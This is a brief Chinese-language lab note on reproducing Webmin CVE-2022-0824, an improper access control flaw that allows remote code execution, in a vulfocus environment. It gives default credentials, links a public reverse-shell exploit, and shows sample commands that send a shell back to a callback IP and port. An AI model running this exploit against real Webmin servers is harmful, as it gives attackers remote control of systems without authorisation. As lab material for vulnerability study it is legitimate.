漏洞描述

Webmin 是一个基于 Web 的 Unix 系统管理界面。使用任何现代网络浏览器，您可以设置用户帐户、Apache、DNS、文件共享等等。 在 1.990 之前的 GitHub 存储库 webmin/webmin 中对远程代码执行的访问控制不当。 username=root/password=password

漏洞环境

vulfocus

漏洞复现

正常复现手法：

https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell

$~ python3 Webmin-revshell.py -t [TARGET] -c [CREDENTIAL] -LS [PY3HTTP_SERVER] -L [CALLBACK_IP] -P [CALLBACK_PORT]
$~ python3 Webmin-revshell.py -t <https://192.168.5.118:10000> -c user:user123 -LS 192.168.5.120:9090 -L 192.168.5.120 -P 4444

修改后台shell环境

sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh